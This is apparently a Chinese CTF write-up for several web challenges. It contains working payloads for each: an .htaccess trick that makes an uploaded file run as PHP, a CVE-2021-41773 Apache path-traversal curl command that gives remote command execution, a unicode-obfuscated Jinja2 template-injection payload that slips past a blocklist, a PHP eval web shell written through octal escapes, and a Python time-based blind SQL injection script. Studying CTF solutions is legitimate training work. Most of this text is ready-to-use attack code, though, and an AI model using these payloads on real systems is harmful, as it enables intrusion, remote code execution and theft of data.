Give me your photo PLZ
一个上传页面
经过测试有黑名单过滤,可以上传图片与txt文件
上传.htacess修改Content-Type为 text/plain
.htaccess内容为
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
构造后缀为.abc的一句话木马上传即可。
Unsafe Apache
根据题目提示,直接看Apache版本,F12
Apache HTTP Server路径穿越漏洞 (CVE-2021-41773)
payload 修改ip地址即可
curl -v --data "echo;cat /f*" 'http://node4.buuoj.cn:29892/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
BabySSTI_Three
禁用名单
_
{%
globals
attr
request
"
eval
getattribute
init
mro
base
subclasses
popen
+
~
url_for空格
原始payload
{{lipsum.__globals__['os'].popen('ls /').read()}}
经过unicode编码
{{lipsum['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u006c\u0073\u0020\u002f\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029')}}
payload
{{lipsum['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u002a\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029')}}
So Baby RCE Again
构造一句话木马
内容为
<?php @eval($_POST['c']);?>
echo "\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76" >> 1.php
访问1.php,用蚁剑连接
flag就在其中但是没有权限,修改权限的命令都被禁止,一直以为是linux提权,各种CVE也没提权成功最后非预期解
大佬解答一下
Final round
经过fuzz与测试
发现是数字性注入
if(3>2,sleep(3),1) #成功
过滤了空格与/ (其他过滤也不重要)所以用()绕过
爆表名与字段名正常的盲注,最后查字段内容时
嵌套个子查询并加上where(id=100)
直接上脚本
import requests
import time
import datetime
url='http://aeff56b0-9bec-4925-9f77-ef27b6d081b4.node4.buuoj.cn:81/comments.php'
result = ""
for i in range(1, 60):
min_value = 33
max_value = 127
mid = (min_value + max_value) // 2 # 中值 mid = (min_value+max_value)>>1
while (min_value != max_value):
payload='if((ascii(mid((select(text)from(select(text)from(wfy.wfy_comments)where(id=100))a),{},1))>{}),0,(benchmark(1200000,sha(1))))'.format(i,mid) #爆表
time1 = datetime.datetime.now()
r = requests.post(
url,
data={'name':payload})
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
# time.sleep(0.1)
print(payload)
if sec >= 1.2:
max_value = mid # mid值比ascii值大
else:
min_value = mid+1
mid = (min_value + max_value)// 2 # 找不到目标元素时停止mid = (min_value+max_value)>>1
result += chr(mid)
print(result)